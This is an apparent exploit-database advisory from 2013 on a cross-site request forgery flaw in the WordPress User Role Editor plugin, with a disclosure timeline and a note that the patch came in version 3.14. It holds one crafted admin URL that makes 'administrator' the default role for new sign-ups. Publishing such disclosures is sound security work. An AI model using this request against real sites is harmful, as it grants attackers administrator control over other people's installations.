WordPress User Role Editor CSRF

2013.05.26

Credit: Henry Hoggard

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-352

# Exploit Title: WP User Role Editor CSRF
# Date: 19/5/13
# Exploit Author: Henry Hoggard
# Author Website: http://henryhoggard.co.uk
# Vendor Homepage:https://wordpress.org/support/plugin/user-role-editor
# Software Link:https://wordpress.org/support/plugin/user-role-editor
# Version: <=3.12
# Tested on: Debian
# CVE : none yet
 
Notified Dev: 16/05/13
Patch Released (3.14): 17/05/13
 
Description:
This allows you to sign up with admin privileges if you make the admin
visit your CSRF script.
 
http://server/wordpress/wp-admin/users.php?page=user-role-editor.php&action=default&user_role=administrator

References:

https://wordpress.org/support/plugin/user-role-editor

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WordPress User Role Editor CSRF

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.